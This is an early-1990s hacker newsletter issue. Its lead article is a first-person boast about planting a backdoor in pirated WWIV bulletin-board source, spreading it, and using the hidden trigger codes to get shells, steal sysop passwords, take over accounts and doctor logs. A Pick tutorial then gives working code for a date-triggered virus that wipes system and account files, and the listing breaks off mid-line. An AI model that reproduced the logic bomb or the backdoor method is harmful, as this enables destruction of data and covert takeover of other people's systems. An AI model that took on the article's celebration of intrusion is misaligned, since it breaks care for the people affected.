home *** CD-ROM | disk | FTP | other *** search
- =======================================
- T H E N E W F O N E E X P R E S S
- =======================================
-
- The newsletter of the Society for the Freedom of Information (SFI)
-
- Electronic Edition
- Central distribution site is Secret Society BBS
- (314) 831-9039, WWIVNet 3460, 24hrs
-
- ------------------------------------------------------------------------------
- The publisher, SFI, distribution site(s), and authors contributing to the NFX
- are protected by the Bill of Rights in the U.S. Constitution, which
- specifically protects freedom of speech and freedom of the press. The
- information provided in this magazine is for informational purposes only, and
- the publisher, SFI, distribution site(s) and authors are not responsible for
- any problems resulting from the use of this information. Nor is SFI
- responsible for consequences resulting from authors' actions. This
- disclaimer is retroactive to all previous issues of the NFX.
-
- We accept article submissions of nearly any sort, about
- hack/phreak/anarchy/gov't/nets/etc. Send mail to the publisher (The
- Cavalier) at any of these addresses:
-
- WWIVnet [15@3460]
- WWIVlink [442@13468]
- VMB (301) 771-1151. hit #, then 140.
- Ripco [send mail to Silicon Avalanche]
- Daydream Nation [send mail to Silicon Avalanche]
- Internet [1098i9@gmuvax2.gmu.edu or 2275a6@gmuvax.gmu.edu]
-
- The printed edition of the newsletter is available for $14 (U.S.) per year on
- paper or $2 (U.S.) for a single copy. Send mail to the New Fone Express,
- Jackson House Rm 206, President's Park, 10309 Senatorial Lane, Fairfax, VA
- 22030. Don't forget your name and address.
-
- To download the New Fone Express, call Secret Society at (314) 831-9039 and
- log on as NFX, password NFX, phone# 0000, or see the distribution list
- elsewhere in this magazine.
-
- ------------------------------------------------------------------------------
-
- Highlights for Issue #6/November 1991
- =====================================
-
- * "Hacking WWIV v4.12" ... by (anonymous)
- (see article #1)
-
- * A Pick Tutorial Pt. 3 ... by Silicon Avalanche
- (see article #2)
-
- * Six Simple Things to Do.. ... by Polekat
- (see article #3)
-
- * Distribution Site List ... edited
- (see article #4)
-
- * Trendwatcher ... edited
- (see article #5)
-
- * Editorial ... by the Cavalier
- (see article #6)
-
- ------------------------------------------------------------------------------
- ------------------------------------------------------------------------------
-
- "Hacking WWIV v4.12"
-
- The following is an account of a few special events that occurred in the
- 314 area code concerning the hacking of WWIV v4.12 bbs's. All of the events
- described in this article happened between 12/03/90 and 10/04/91.
-
- With the onset of a new version of WWIV coming out, my hunger for C
- programming experience, and my amount of C programming language ever
- expanding, I dreamed about what I might add to the new source code. Coming up
- with some good ideas, (yes, actually useful WWIV mods) one very malicious
- thought crossed my mind. Something a friend of mine had gotten me thinking
- about earlier that day. Insert a back door into the WWIV source code, and
- distribute the bogus source. Ahh yes! The ultimate power! Total control of
- someone else's computer, that didn't know you in the slightest way! Earlier
- that month, Wayne Bell had just made available, to all registered System
- Operators of WWIV BBS software, the WWIV v4.12 source code. Since I was still
- running v4.07 at the time, I decided this was a good time to upgrade. WWIV
- v4.12, seemed to have a lot of great new features that would have required
- massive modification to a v4.07 source code. Upon getting my paws on a copy
- of the v4.12 source code, I sat down for about two and a half hours and modded
- away. After I finished inserting a batch upload mod, 3 things forced me to
- stop modding for the time being.
-
- 1) Fellow users would kill me if I called them at 2:30 AM to test a mod.
- 2) I wasn't sure if any of my users knew how to use Zmodem batch upload.
- 3) I was really hungry for about six White Castle hamburgers.
-
- The part about the hamburgers, being the most dominant thought in my
- mind, pushed me to jump in the car, head down to Dorsett Rd., and grab some
- burgers.
-
- While sitting in the car, eating my hamburgers, I deliberated over how I
- might be able to use WWIV to gain control of other unsuspecting sysops'
- computers. At that moment, there in the parking lot of White Castle, at
- exactly 2:51 AM on 12/03/90, the ultimate hack plan hit me. I like many other
- unregistered WWIV sysops had obtained the WWIV v4.12 source code, illegally.
- Yes, a user had uploaded it to my computer. I had been considering
- registration, since I wanted to get my BBS on WWIVnet, and this was a
- requirement if your WWIV BBS was modded in the SLIGHTEST way. But I thought,
- if it was so easy for me to get a copy of the source, just think of how many
- other unregistered sysops are running pirate sources that they modded too!
- The only thing that stood in my way of modifying and distributing a pirate
- source code was PKZIP v1.10 authentic verification. When you unzip an
- original unmodified v4.12 source, a -AV will appear next to every file, and
- at the end, the message: 'Authenticity Verifies! Wayne Bell (UJK765).' Well,
- if I modified any of the source files, and put them back in the zip, the
- message would be more along the lines of: 'Authenticity Verification Failed!
- Contact the author' or some BS like that. Deciding that I wouldn't worry
- about this problem for now, I began to write my back door into the v4.12
- source. Any dummy with an ounce of knowledge of C could have done it, I was
- surprised that I hadn't ever heard of it being done before. Nonetheless, I
- started out where all the //<COMMAND> sysop utility commands are written in
- to the main source file.
-
- The idea that hit me was to create a secret WWIV dos shell command that
- didn't ask for a system pw. The command, like most 'special' commands in
- WWIV would begin with a // preceding it, and would work when entered at
- the main menu. It would have to be a code, that didn't even remotely look
- like anything to a normal user. The code would need to look like an intricate
- line of C programming. These two characteristics were required because,
- first, and most important, I didn't want the code to be anything 'guessable.'
- Secondly, it had to be 'hidden' from someone who might be paging through the
- programming code. Strolling through the WWIV C code, I found a nice,
- unguessable, line that would perfectly suit my needs. The line read as
- follows:
-
- //0_RDWR | 0_BINARY | 0_CREAT, S_IREAD
-
- Upon deciding that this would be my secret shell to dos code, I scrolled
- up to the //DOS function, to find out what made it work, and what asked for
- the system password (SY:) before the shell occurred.
- After block copying the programming code that came after //DOS, (the dos
- shell activation programming code) and strategically placing it after my
- //0_RDWR | 0_BINARY | 0_CREAT, S_IREAD code so it would be activated when
- the // code was entered, I was ready to compile it and test it out on my own
- system. After a few error corrections, time wasting errors like leaving off
- a '{' or something stupid like that, I achieved a BBS.EXE that to everyone,
- except myself would look perfectly ok to run a WWIV BBS on. I replaced my
- normal BBS.EXE with this new one, and activated BBS.COM(to load everything
- up). After using space+f to fast log on to my account, at the main prompt, I
- entered the // code. I was immediately elated with happiness to see that I
- had been abruptly thrown into a DOS shell. I didn't even get asked for a
- system password. It was great! Since I was in such a good mood, I decided to
- add one more // code into the BBS. This next code would activate the user
- editor. Once I had begun using my back door, on other BBS's, I realized that
- the User Editor back door wasn't worth crap, since you have to have a 255 SL
- to be able to read passwords, and you can't give out anymore access than you
- have. But, at the time that I programmed in the User Editor back door, I
- wasn't thinking about this.
- The next line details the code that activated the user editor. Again, it
- was a far strung out code that no one would guess, looked like a line of C,
- and was entered from the main menu prompt.
-
- //SPRINTF(S1,%SUSER.IEND++261
-
- Upon entry of this code, there is an instruction in the source to
- activate a function called data(). Data() was a copy of void uedit() that I had
- renamed, void data(), and stuck into the VOTEEDIT.C file. After entering this
- code in, I was able to page through all of the user accounts, and see
- whatever info I wanted to see, except passwords! I didn't realize the check for
- a 255 SL upon password display until the source was distributed, so for the
- most part, the user editor back door was useless.
- Even if the uedit backdoor didn't do anything except display personal
- info, I still had the most powerful weapon programmed into the code, the DOS
- back door.
- When I was finished with the bogus source, and felt that it was ready to
- be distributed, I zipped it down, and placed it on my BBS for download. About
- four months went by, and I forgot about the whole thing. As a sysop, I didn't
- call out a whole lot, so I didn't know what BBS's might have the source,
- furthermore, since I had forgotten about it, I didn't care. One day, my
- friend who originally came up with the wonderful idea, called me with a
- supreme amount of excitement in his voice. When I had programmed in the back
- doors, I had given him a copy of the codes, and what they would do. At that
- time, he seemed rather passive about it, and so was I. For some reason, both of
- us didn't think anything would ever come of it. Anyway, he had called to tell
- me that he had logged on to a modified, unregistered WWIV v4.12 BBS, and he had
- typed in the back door code for the user editor, and much to his amazement,
- it worked!
- I'm sure many of you reading this, were familiar, or at least heard of
- something called NGNet. It stands for Neat Guys Net (if that tells you
- anything). Well, NGNet only expanded out to about six or seven BBS's, at the
- height of its popularity, but one odd thing about all these BBS's, is that
- they all looked EXACTLY alike, and I mean EXACTLY. All of them had the SAME
- modified pirated WWIV v4.12 source code. It was a hacker's dream come true.
- To have total control of a whole slew of BBS's, on their own network. It
- turns out, that the originator of NGNet, whose name I do not know, somehow got
- a copy of the source code that I had modified. He then, not knowing that there
- was a back door in the source, modified it to his liking. After this, he gave
- a copy of the modified BBS.EXE to the other BBS's that were in NGNet. Almost
- all of the BBS's in NGNet, being run by bullshit sysops that didn't know crap
- about source modification, immediately switched to this new BBS.EXE with the
- mods that the originator of NGNet had installed, and which back door mod was
- in too.
- The first BBS that I used the DOS door on, was The Mysterious Land of
- A&F. It worked flawlessly, and with my extra knowledge of WWIV password
- storage, I knew right where all the info I needed was. Since I was in DOS, I
- made my way to the \WWIV directory. By typing the CONFIG.DAT file, I was
- granted, along with a lot of garbage characters, the system password. After
- activating my printscreen key to send that password to the printer, I wasted no
- time in making my way into the \WWIV\DATA directory. Here I typed the USER.LST
- file. Among all the garbage that filled my screen, a few key numbers and one
- word caught my attention. The numbers were the last four digits of the sysop's
- phone number, and the key word was the sysop's password! Now, armed with the
- system password, the sysop's personal password, and the last four digits of
- the sysop's phone number, nothing could stop me from taking complete control
- of the BBS! After issuing exit, and a carriage return, I was soon back in
- WWIV. I quickly logged off, and began to dial that very very Mysterious Land
- of A&F again. This time, instead of logging on as a normal account, I put in
- all the sysop's info, and soon I was on the BBS via the sysop's account. I
- was curious as to what Mysterious secrets the Land of A&F held, so I began to
- look around. A quick trip into the transfer area revealed some shocking news
- about the sysop, and the type of BBS he ran. Dropping back to the main menu,
- I requested a list of the message bases via the '*' command. The first message
- base that caught my eye, and for the moment, piqued my interest, was the
- NGNet Sysops' Discussion Net. Scanning through the messages, I noticed, what I
- had assumed about the NGNet BBS's. Most of the sysops were, or acted like they
- were no older than 15 years old. So many of the messages on this sub were so
- worthless, things like "Hey guys....how do you like my new macro" and "Do any
- of you other NGN bbs's out there have any new porno GIFS you could upload to
- my board?" This kind of crap is the pointless childish bullshit that I try to
- avoid when I call out, let alone when I go seriously hacking. Anyway, after
- reading these discouraging messages, I became extremely uninterested in the
- message bases. I then, shelled down to dos, this time using the legit //DOS
- command, and the system password. After looking around for a while, and
- finding some more incriminating evidence about the sysop, I got kind of
- bored.
- Since I felt that it would be nice to keep this BBS under my thumb, I needed
- to edit the daily sysop log files, so the sysop wouldn't realize someone had
- been there, under his account. After some copying, downloading, uploading,
- and overwriting of files, the edited sysop log files were in place, and I
- felt at ease about the whole thing. My terminal program displayed that I had
- been on the BBS for 38 minutes. I was tiring fast, as in order for the sysop
- not to see me, I had to do this at 3:15 AM, so I logged off and went to bed.
- As time went on, my friend and I noticed, and hacked into all the BBS's that
- were on the NGNet. We even did a few that weren't on the net, and had just
- picked up a copy of the bogus source floating around. All in all, it was an
- incredible feat to be accomplished, but, with the help of some extremely
- stupid sysops who failed to look for Authentic Verification when they
- unzipped their pirate source codes, it was very possible. I suppose there is
- some kind of morale to this story, that being that you should probably register
- WWIV if you want to mod the source, but I won't go too far into that.
-
- A Few Side Notes
- Of all the time I spent hacking at the NGNet bbs's, I think I spent the
- most time on Land of A&F. That bbs, and Quality Connection, interested me
- most. Of course, with all this hacking, it had to happen. I screwed up a few
- times. Never did I mess up so bad, that the sysop totally found out about
- what was going on, but I did make a few mistakes. One time, when I was on
- Land of A&F, I forgot to edit the sysop's name (I had logged on under his
- account) out of the 'last few callers' file. Amazingly, Awesome A, the sysop
- of A&F, didn't catch it. Another time, I had copied all of Mr. Quality's
- (sysop of Quality Connection) bbs passwords off his hdd via the back door in
- Quality Connection. Mr. Quality had sysop access at Land of A&F, so of course,
- I had to check things out from his account, even though I knew it all would be
- the same. I was getting kind of lazy, and one time I didn't really feel like
- doing all of the log file editing, so I just logged off. A few days later, I
- intercepted a message on the NGNet Sysop Discussion Sub (while on under the
- sysop's account) that Awesome A had posted. It alerted all the NGN bbs's of
- a hacker that logged on to Land of A&F under Mr. Quality's account. Of course,
- none of those dumbshit NGNet sysops even thought there might be something
- wrong with their source code, or EXE file. With Mr. Quality's other
- passwords, I gained total control over a few bbs's that didn't even have the
- back door in them, but where Mr. Quality had sysop access on. I did this with
- Awesome A's passwords too, and at one time had total control of Too $hort's
- bbs, the Ghetto. Too $hort wasn't running the pirate source code, but for
- some reason he had given Awesome A sysop access. From here, I copied out all of
- Too $hort's passwords, and used his accounts around town. It was nice to have
- full run over so many bbs's. Too $hort had pretty good access (90 SL) at
- Master Control Program, which allowed me to batch d/l from there quite often,
- but I never was able to get an account, on MCP, that had anything better than
- a 90. I never did really get to know Too $hort beyond a dialout to his bbs,
- but I'll tell you one thing, I really hate the way he signs his name, Too
- $hort, the dollarsign, in my opinion, is really squidly. Another good bbs,
- that I called quite a bit, usually under false accounts, was Secret Society.
- Grim stocks an excellent selection of informational text files, but he needs
- to upgrade to at least 2400 sometime in the near future, if he expects to
- keep that excellent group of users calling.
- I know that many of you who read this will doubt any of what I have said
- ever happened, and you'd be an idiot not to unless some evidence was
- presented. Yes, that's correct, the evidence IS out there. I can guarantee
- anyone that the modified WWIV v4.12 source is out there, somewhere still on-
- line ready to be downloaded off of some weak, non current pirate bbs. If you
- happen to see a copy of the WWIV v4.12 source, on a bbs, do an archive
- listing, and, if possible, an integrity check. If it doesn't have any pkzip
- verification on it, then extract out the BBS.C and VOTEEDIT.C files and
- download them. Load BBS.C into an editor, and do a 'string search.' Search
- for either one of the above // codes. Both, the dos door, and the uedit door
- should be in there. Also, in VOTEEDIT.C, as I mentioned before, there is a
- function in there called data(). In it is the exact same thing that was in
- the function uedit(). Also, another way of proof, is that you could possibly
- find and call an unregistered, modified WWIV v4.12 bbs and attempt to use
- those codes. But since v4.20 is out, I doubt many of the idiotic squid sysops
- that grasped on to the unverified v4.12 source will still be with v4.12, they
- will probably have upgraded to v4.20 now, being that their bbs's are so damn
- unstable.
- I never did register my copy of WWIV, as my bbs went down a short time
- ago, and I never was able to get on WWIVnet. It was on-line for over four
- years, very private, but lately, I've realized the lousy condition of the
- hack/phreak/anarchy community, and I've just kind of lost interest in
- bbs'ing.
- I'm writing this, partly, to try and 'do my part' for the hack/phreak/anarchy
- community, and show the others out there that yes, there are still a few
- conniving, ingenious, ruthless hackers out there. I'd like to see the other
- true hackers out there get off their asses and do something! If you're not
- going to hack anymore, at least write an article about your experiences, and
- send it to the editor of Phrack, NFX, Digital Underground (If DU is till in
- publication) or any electronic publication. Don't go around destroying
- systems (rm *), just hack them, and brag about it, just like the old days.
- Note that I never once deleted a file on any of the computers that I hacked,
- that I wasn't absolutely sure I would replace.
-
- -Disclaimer of Who I Am-
- I don't really bbs too much any more, as I haven't been interested in it
- for quite sometime now. Still, just to avoid any accusations, phone
- harassment, or any bullshit from those NGNet sysops, whom I'm sure will be
- extremely pissed once they hear of this, I'll be placing strict anonymity
- on this article. Don't come after the editor of New Fone Express, as even he
- won't know who I am. I'm not even sure that he'll put this in his
- publication.
- And above all, please don't be an ass and throw accusations around at other
- bbs'ers. I'm only slightly active on one bbs now, and if I don't call there
- within four days from now, I'll be deleted due to inactivity. As I mentioned
- before, I don't have an account on MCP any more, again, due to inactivity. I
- had a stable account on Secret Society, but for quite sometime, I've been
- deleted, yes again, due to inactivity. I tried to keep a stable account on
- Angel Station, but it seemed that bbs was always crashing, and everyone
- would have to logon as new users. I'm pretty sure I've been deleted on
- Blitzkrieg, but I have to say that that was one of the best, most stable
- bbs's I was ever on. So, if you are ready to go on some hellish trek to even
- attempt to find me, give up now! Don't waste your time, as I'm sure your
- attempt(s) will be in vain. ><
-
- [TC: The best chance you have of reaching the author is to send mail to me,
- and I will forward it to the false account that has been set up. Also, the
- author included around 30k of screen capture files from the hack itself,
- which I have omitted in the interests of space.]
-
- ------------------------------------------------------------------------------
- ------------------------------------------------------------------------------
-
- Pick Tutorial
- A Pick Tutorial - Courtesy of Silicon Avalanche of SFI
- Installment #3
-
- COUGH.. HACK... WHEEZE...
-
- Hello everybody, and welcome to the latest edition of the Pick
- Tutorial. This volume is a quickie (because I'm about a week past the
- submission deadline, and the publisher is starting to hound me), about a
- simple, generic Pick virus. Let's get started, 'eh?
-
- >ED SYSPROG-PL USER-COLDSTART
-
- TOP
- .
-
- 001 PQ
- . I
-
- 001+HVIR
- 001+P
- 001+
- . FI
-
- >ED BP VIR
-
- NEW ITEM
- TOP
- . I
-
- 001+*
- 002+*
- 003+*
- 004+*
- 005+*
- 006+BREAK OFF
- 007+WAKEUPDATE="MM/DD/YY"
- 008+* In the above, replace the MM/DD/YY with a month, day and year.
- 009+WAKEDATEIC=ICONV(WAKEUPDATE,"DI")
- 010+*
- 011+IF DATE()#WAKEDATEIC THEN STOP
- 012+* Tell everybody we're here...
- 013+EXECUTE "BLOCK-PRINT TIME'S UP!!!! HEH HEH HEH HEH HEH HEH HEH HEH
- HEH..."
- 014+* Wipe out the SYSTEM file - lose all the accounts...
- 015+EXECUTE "CLEAR-FILE DICT SYSTEM" CAPTURING JUNK RETURNING MOREJUNK
- 016+EXECUTE "CLEAR-FILE DATA SYSTEM" CAPTURING JUNK RETURNING MOREJUNK
- 017+* Wipe out the MASTER DICTIONARY (MD)
- 018+EXECUTE "CLEAR-FILE DICT MD" CAPTURING JUNK RETURNING MOREJUNK
- 019+EXECUTE "CLEAR-FILE DATA MD" CAPTURING JUNK RETURNING MOREJUNK
- 020+* Wipe out the ERRMSG file
- 021+EXECUTE "CLEAR-FILE DICT ERRMSG" CAPTURING JUNK RETURNING MOREJUNK
- 022+EXECUTE "CLEAR-FILE DATA ERRMSG" CAPTURING JUNK RETURNING MOREJUNK
- 023+* Create a new LOGON banner to tell everyone hello...
- 024+REC=''
- 025+REC<1>="L(12)"
- 026+REC<2>="S(25)"
- 027+REC<3>="HYour System's been SHUT DOWN!!"
- 028+* Add as many lines saying whatever you want, but the last line MUST be:
- 029+REC<4>=+
- 030+* in this case, 4 is the last line, this would be a 50 if REC<1> through
- 031+* REC<49> were defin
-
-
- Downloaded From P-80 International Information Systems 304-744-2253
-